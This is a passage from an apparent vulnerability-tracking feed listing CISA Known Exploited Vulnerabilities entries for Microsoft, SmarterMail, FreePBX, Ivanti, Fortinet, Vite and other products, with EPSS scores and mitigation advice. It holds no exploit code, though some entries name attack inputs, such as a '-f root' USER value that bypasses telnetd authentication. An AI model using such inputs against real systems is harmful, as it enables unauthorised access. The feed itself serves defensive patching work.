known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 12, 2026; federal due date Feb 15, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft MSHTML Framework Protection Mechanism Failure Vulnerability https://kevwire.com/record/CVE-2026-21513 Microsoft MSHTML Framework Protection Mechanism Failure Vulnerability (Feb 10, 2026). Microsoft MSHTML Framework contains a protection mechanism failure vulnerability that could allow an unauthorized attacker to bypass a security feature over a network. EPSS 15.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-21513&date=2026-10-25). Sources: CISA KEV entry CVE-2026-21513: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-21513&date=2026-10-25 CISA added this entry on 2026-02-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 10, 2026; federal due date Mar 3, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows NULL Pointer Dereference Vulnerability https://kevwire.com/record/CVE-2026-21525 Microsoft Windows NULL Pointer Dereference Vulnerability (Feb 10, 2026). Microsoft Windows Remote Access Connection Manager contains a NULL pointer dereference that could allow an unauthorized attacker to deny service locally. EPSS 4.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-21525&date=2026-10-25). Sources: CISA KEV entry CVE-2026-21525: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-21525&date=2026-10-25 CISA added this entry on 2026-02-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 10, 2026; federal due date Mar 3, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Shell Protection Mechanism Failure Vulnerability https://kevwire.com/record/CVE-2026-21510 Microsoft Windows Shell Protection Mechanism Failure Vulnerability (Feb 10, 2026). Microsoft Windows Shell contains a protection mechanism failure vulnerability that could allow an unauthorized attacker to bypass a security feature over a network. EPSS 61.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-21510&date=2026-10-25). Sources: CISA KEV entry CVE-2026-21510: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-21510&date=2026-10-25 CISA added this entry on 2026-02-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 10, 2026; federal due date Mar 3, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Improper Privilege Management Vulnerability https://kevwire.com/record/CVE-2026-21533 Microsoft Windows Improper Privilege Management Vulnerability (Feb 10, 2026). Microsoft Windows Remote Desktop Services contains an improper privilege management vulnerability that could allow an authorized attacker to elevate privileges locally. EPSS 4.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-21533&date=2026-10-25). Sources: CISA KEV entry CVE-2026-21533: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-21533&date=2026-10-25 CISA added this entry on 2026-02-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 10, 2026; federal due date Mar 3, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Type Confusion Vulnerability https://kevwire.com/record/CVE-2026-21519 Microsoft Windows Type Confusion Vulnerability (Feb 10, 2026). Microsoft Desktop Windows Manager contains a type confusion vulnerability that could allow an authorized attacker to elevate privileges locally. EPSS 2.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-21519&date=2026-10-25). Sources: CISA KEV entry CVE-2026-21519: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-21519&date=2026-10-25 CISA added this entry on 2026-02-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 10, 2026; federal due date Mar 3, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Office Word Reliance on Untrusted Inputs in a Security Decision Vulnerability https://kevwire.com/record/CVE-2026-21514 Microsoft Office Word Reliance on Untrusted Inputs in a Security Decision Vulnerability (Feb 10, 2026). Microsoft Office Word contains a reliance on untrusted inputs in a security decision vulnerability that could allow an authorized attacker to elevate privileges locally. EPSS 1.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-21514&date=2026-10-25). Sources: CISA KEV entry CVE-2026-21514: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-21514&date=2026-10-25 CISA added this entry on 2026-02-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 10, 2026; federal due date Mar 3, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### React Native Community CLI OS Command Injection Vulnerability https://kevwire.com/record/CVE-2025-11953 React Native Community CLI OS Command Injection Vulnerability (Feb 5, 2026). React Native Community CLI contains an OS command injection vulnerability which could allow unauthenticated network attackers to send POST requests to the Metro Development Server and run arbitrary executables via a vulnerable endpoint exposed by the server. On Windows, attackers can also execute arbitrary shell commands with fully controlled arguments. EPSS 94.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-11953&date=2026-10-25). Sources: CISA KEV entry CVE-2025-11953: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-11953&date=2026-10-25 CISA added this entry on 2026-02-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 5, 2026; federal due date Feb 26, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### SmarterTools SmarterMail Missing Authentication for Critical Function Vulnerability https://kevwire.com/record/CVE-2026-24423 SmarterTools SmarterMail Missing Authentication for Critical Function Vulnerability (Feb 5, 2026). SmarterTools SmarterMail contains a missing authentication for critical function vulnerability in the ConnectToHub API method. This could allow the attacker to point the SmarterMail instance to a malicious HTTP server which serves the malicious OS command and could lead to command execution. EPSS 88.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-24423&date=2026-10-25). Sources: CISA KEV entry CVE-2026-24423: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-24423&date=2026-10-25 CISA added this entry on 2026-02-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 5, 2026; federal due date Feb 26, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### GitLab Community and Enterprise Editions Server-Side Request Forgery (SSRF) Vulnerability https://kevwire.com/record/CVE-2021-39935 GitLab Community and Enterprise Editions Server-Side Request Forgery (SSRF) Vulnerability (Feb 3, 2026). GitLab Community and Enterprise Editions contain a server-side request forgery vulnerability which could allow unauthorized external users to perform Server Side Requests via the CI Lint API. EPSS 36.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-39935&date=2026-10-25). Sources: CISA KEV entry CVE-2021-39935: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-39935&date=2026-10-25 CISA added this entry on 2026-02-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 3, 2026; federal due date Feb 24, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Sangoma FreePBX OS Command Injection Vulnerability https://kevwire.com/record/CVE-2025-64328 Sangoma FreePBX OS Command Injection Vulnerability (Feb 3, 2026). Sangoma FreePBX Endpoint Manager contains an OS command injection vulnerability that could allow for a post-authentication command injection by an authenticated known user via the testconnection -> check_ssh_connect() function. An attacker can leverage this vulnerability to potentially obtain remote access to the system as an asterisk user. EPSS 84.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-64328&date=2026-10-25). Sources: CISA KEV entry CVE-2025-64328: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-64328&date=2026-10-25 CISA added this entry on 2026-02-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 3, 2026; federal due date Feb 24, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Sangoma FreePBX Improper Authentication Vulnerability https://kevwire.com/record/CVE-2019-19006 Sangoma FreePBX Improper Authentication Vulnerability (Feb 3, 2026). Sangoma FreePBX contains an improper authentication vulnerability that potentially allows unauthorized users to bypass password authentication and access services provided by the FreePBX admin. EPSS 55.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-19006&date=2026-10-25). Sources: CISA KEV entry CVE-2019-19006: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-19006&date=2026-10-25 CISA added this entry on 2026-02-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 3, 2026; federal due date Feb 24, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### SolarWinds Web Help Desk Deserialization of Untrusted Data Vulnerability https://kevwire.com/record/CVE-2025-40551 SolarWinds Web Help Desk Deserialization of Untrusted Data Vulnerability (Feb 3, 2026). SolarWinds Web Help Desk contains a deserialization of untrusted data vulnerability that could lead to remote code execution, which would allow an attacker to run commands on the host machine. This could be exploited without authentication. EPSS 84.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-40551&date=2026-10-25). Sources: CISA KEV entry CVE-2025-40551: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-40551&date=2026-10-25 CISA added this entry on 2026-02-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 3, 2026; federal due date Feb 6, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Ivanti Endpoint Manager Mobile (EPMM) Code Injection Vulnerability https://kevwire.com/record/CVE-2026-1281 Ivanti Endpoint Manager Mobile (EPMM) Code Injection Vulnerability (Jan 29, 2026). Ivanti Endpoint Manager Mobile (EPMM) contains a code injection vulnerability that could allow attackers to achieve unauthenticated remote code execution. EPSS 98.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-1281&date=2026-10-25). Sources: CISA KEV entry CVE-2026-1281: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-1281&date=2026-10-25 CISA added this entry on 2026-01-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jan 29, 2026; federal due date Feb 1, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Fortinet Multiple Products Authentication Bypass Using an Alternate Path or Channel Vulnerability https://kevwire.com/record/CVE-2026-24858 Fortinet Multiple Products Authentication Bypass Using an Alternate Path or Channel Vulnerability (Jan 27, 2026). Fortinet FortiAnalyzer, FortiManager, FortiOS, and FortiProxy contain an authentication bypass using an alternate path or channel that could allow an attacker with a FortiCloud account and a registered device to log into other devices registered to other accounts, if FortiCloud SSO authentication is enabled on those devices. EPSS 86.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-24858&date=2026-10-25). Sources: CISA KEV entry CVE-2026-24858: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-24858&date=2026-10-25 CISA added this entry on 2026-01-27. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jan 27, 2026; federal due date Jan 30, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Linux Kernel Integer Overflow Vulnerability https://kevwire.com/record/CVE-2018-14634 Linux Kernel Integer Overflow Vulnerability (Jan 26, 2026). Linux Kernel contains an integer overflow vulnerability in the create_elf_tables() function which could allow an unprivileged local user with access to SUID (or otherwise privileged) binary to escalate their privileges on the system. EPSS 14.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-14634&date=2026-10-25). Sources: CISA KEV entry CVE-2018-14634: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-14634&date=2026-10-25 CISA added this entry on 2026-01-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jan 26, 2026; federal due date Feb 16, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### SmarterTools SmarterMail Unrestricted Upload of File with Dangerous Type Vulnerability https://kevwire.com/record/CVE-2025-52691 SmarterTools SmarterMail Unrestricted Upload of File with Dangerous Type Vulnerability (Jan 26, 2026). SmarterTools SmarterMail contains an unrestricted upload of file with dangerous type vulnerability that could allow an unauthenticated attacker to upload arbitrary files to any location on the mail server, potentially enabling remote code execution. EPSS 85.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-52691&date=2026-10-25). Sources: CISA KEV entry CVE-2025-52691: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-52691&date=2026-10-25 CISA added this entry on 2026-01-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jan 26, 2026; federal due date Feb 16, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### SmarterTools SmarterMail Authentication Bypass Using an Alternate Path or Channel Vulnerability https://kevwire.com/record/CVE-2026-23760 SmarterTools SmarterMail Authentication Bypass Using an Alternate Path or Channel Vulnerability (Jan 26, 2026). SmarterTools SmarterMail contains an authentication bypass using an alternate path or channel vulnerability in the password reset API. The force-reset-password endpoint permits anonymous requests and fails to verify the existing password or a reset token when resetting system administrator accounts. This could allow an unauthenticated attacker to supply a target administrator username and a new password to reset the account, resulting in full administrative compromise of the SmarterMail instance. EPSS 96.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-23760&date=2026-10-25). Sources: CISA KEV entry CVE-2026-23760: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-23760&date=2026-10-25 CISA added this entry on 2026-01-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jan 26, 2026; federal due date Feb 16, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### GNU InetUtils Argument Injection Vulnerability https://kevwire.com/record/CVE-2026-24061 GNU InetUtils Argument Injection Vulnerability (Jan 26, 2026). GNU InetUtils contains an argument injection vulnerability in telnetd that could allow for remote authentication bypass via a "-f root" value for the USER environment variable. EPSS 99.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-24061&date=2026-10-25). Sources: CISA KEV entry CVE-2026-24061: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-24061&date=2026-10-25 CISA added this entry on 2026-01-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jan 26, 2026; federal due date Feb 16, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Office Security Feature Bypass Vulnerability https://kevwire.com/record/CVE-2026-21509 Microsoft Office Security Feature Bypass Vulnerability (Jan 26, 2026). Microsoft Office contains a security feature bypass vulnerability in which reliance on untrusted inputs in a security decision in Microsoft Office could allow an unauthorized attacker to bypass a security feature locally. Some of the impacted product(s) could be end-of-life (EoL) and/or end-of-service (EoS). Users are advised to discontinue use and/or transition to a supported version. EPSS 70.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-21509&date=2026-10-25). Sources: CISA KEV entry CVE-2026-21509: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-21509&date=2026-10-25 CISA added this entry on 2026-01-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jan 26, 2026; federal due date Feb 16, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Broadcom VMware vCenter Server Out-of-bounds Write Vulnerability https://kevwire.com/record/CVE-2024-37079 Broadcom VMware vCenter Server Out-of-bounds Write Vulnerability (Jan 23, 2026). Broadcom VMware vCenter Server contains an out-of-bounds write vulnerability in the implementation of the DCERPC protocol. This could allow a malicious actor with network access to vCenter Server to send specially crafted network packets, potentially leading to remote code execution. EPSS 22.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-37079&date=2026-10-25). Sources: CISA KEV entry CVE-2024-37079: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-37079&date=2026-10-25 CISA added this entry on 2026-01-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jan 23, 2026; federal due date Feb 13, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Synacor Zimbra Collaboration Suite (ZCS) PHP Remote File Inclusion Vulnerability https://kevwire.com/record/CVE-2025-68645 Synacor Zimbra Collaboration Suite (ZCS) PHP Remote File Inclusion Vulnerability (Jan 22, 2026). Synacor Zimbra Collaboration Suite (ZCS) contains a PHP remote file inclusion vulnerability that could allow for remote attackers to craft requests to the /h/rest endpoint to influence internal request dispatching, allowing inclusion of arbitrary files from the WebRoot directory. EPSS 48.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-68645&date=2026-10-25). Sources: CISA KEV entry CVE-2025-68645: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-68645&date=2026-10-25 CISA added this entry on 2026-01-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jan 22, 2026; federal due date Feb 12, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Versa Concerto Improper Authentication Vulnerability https://kevwire.com/record/CVE-2025-34026 Versa Concerto Improper Authentication Vulnerability (Jan 22, 2026). Versa Concerto SD-WAN orchestration platform contains an improper authentication vulnerability in the Traefik reverse proxy configuration, allowing at attacker to access administrative endpoints. The internal Actuator endpoint can be leveraged for access to heap dumps and trace logs. EPSS 81.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-34026&date=2026-10-25). Sources: CISA KEV entry CVE-2025-34026: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-34026&date=2026-10-25 CISA added this entry on 2026-01-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jan 22, 2026; federal due date Feb 12, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Vite Vitejs Improper Access Control Vulnerability https://kevwire.com/record/CVE-2025-31125 Vite Vitejs Improper Access Control Vulnerability (Jan 22, 2026). Vite Vitejs contains an improper access control vulnerability that exposes content of non-allowed files using ?inline&import or ?raw?import. Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected. EPSS 65.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-31125&date=2026-10-25). Sources: CISA KEV entry CVE-2025-31125: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-31125&date=2026-10-25 CISA added this entry on 2026-01-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jan 22, 2026; federal due date Feb 12, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Prettier eslint-config-prettier Embedded Malicious Code Vulnerability https://kevwire.com/record/CVE-2025-54313 Prettier eslint-config-prettier Embedded Malicious Code Vulnerability (Jan 22, 2026). Prettier eslint-config-prettier contains an embedded malicious code vulnerability. Installing an affected package executes an install.js file that launches the node-gyp.dll malware on Windows. EPSS 5.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-54313&date=2026-10-25). Sources: CISA KEV entry CVE-2025-54313: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-54313&date=2026-10-25 CISA added this entry on 2026-01-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable 